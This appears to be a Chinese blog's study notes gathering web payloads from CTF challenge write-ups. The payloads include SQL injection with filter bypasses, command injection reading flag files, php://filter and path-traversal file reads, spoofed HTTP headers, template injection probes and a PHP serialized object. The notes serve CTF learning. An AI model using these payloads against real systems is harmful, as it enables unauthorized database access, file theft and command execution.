Web杂记

文章讲述了在2019年极客大挑战中的网络安全题目,涉及SQL注入、HTTP头信息伪造(Referer,User-Agent,X-Forwarded-For)、文件读取(如calc.php和file_get_contents)、模板注入以及序列化等技术的利用方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

?file=php://filter/read=convert.base64-encode/resource=flag.php

来自 <【精选】[极客大挑战 2019]Secret File 1解题思路及BurpSuite教程_kmwc_仗剑-行天下的博客-优快云博客>

(伪协议)

?file=hint.php%253f../../../../../../../../ffffllllaaaagggg

来自 <BUUCTF—WEB-WarmUp_buuctf warmup 1-优快云博客>

1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#

来自 <https://www.cnblogs.com/wjw-zm/p/12359735.html>

(堆叠注入)

select *,1 from flag

来自 <[SUCTF 2019]EasySQL 1 Writeup(超级详细)-优快云博客>

?ip=127.0.0.1;a=g;cat$IFS$1index.php

来自 <[GXYCTF2019]Ping Ping Ping_ip=127.0.0.1传马-优快云博客>

127.0.0.1 & cat /flag

来自 <buuctf [ACTF2020 新生赛]Exec 1_hint=flag的博客-优快云博客>

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

来自 <[极客大挑战 2019]LoveSQL(最基础的sql注入,万能密码登录)-优快云博客>

1' or 1=1 #(万能密码)

1' union select 1 #(联合查询)

1 ' ununionion seselectlect 1,2,3 #(双写)

1 %27 ununionion seselectlect 1, database(),3%23 (查库名)

1' ununionion seselectlect 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#(查库信息)

1' ununionion seselectlect 1,2,group_concat(table_name) frfromom  infoorrmation_schema.tables whwhereere table_schema='ctf'#

1' ununionion seselectlect 1,2,group_concat(Flag) frfromom ctf.Flag#

来自 <CTF学习笔记——[极客大挑战 2019]BabySQL_Obs_cure的博客-优快云博客>

比如上面提示不是来自https://www.Sycsecret.com,就可以在header中添加上 Referer:https://www.Sycsecret.com ,来伪造访问来源,Referer协议就是告诉服务器我从哪里来。所以抓包修改

来自 <BUUCTF__[极客大挑战 2019]Http_题解-优快云博客>

添加后访问,提示请使用 Syclover 浏览器,这就可以想到用User-Agent协议来伪造访问工具为 Syclover 浏览器,这个协议就是告诉服务器我是用什么访问的 .修改 User-Agent 为User-Agent: Syclover

来自 <BUUCTF__[极客大挑战 2019]Http_题解-优快云博客>

只能在本地,我们可以伪造本地ip 127.0.0.1,所以我们可以利用X-Forwarded-For协议来伪造只需要在 header 添加 X-Forwarded-For:127.0.0.1,再次访问,这时得到flag

来自 <BUUCTF__[极客大挑战 2019]Http_题解-优快云博客>

calc.php? num=print_r(scandir('/')); (读取根目录)

来自 <[RoarCTF 2019]Easy Calc 1_snowlyzz的博客-优快云博客>

? num=print_r(file_get_contents('/flagg'));

其中/flagg 用chr进行绕过

num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));

[RoarCTF 2019]Easy Calc 1_snowlyzz的博客-优快云博客

?msg={{1*2}}(模板注入)

来自 <https://www.cnblogs.com/xhds/p/12285121.html>

?msg={{handler.settings}}

来自 <https://www.cnblogs.com/xhds/p/12285121.html>

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

$a=newFlag();

echoserialize($a);

(序列化)

来自 <[ZJCTF 2019]NiZhuanSiWei_zjctfnizhuang思维_Sk1y的博客-优快云博客>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值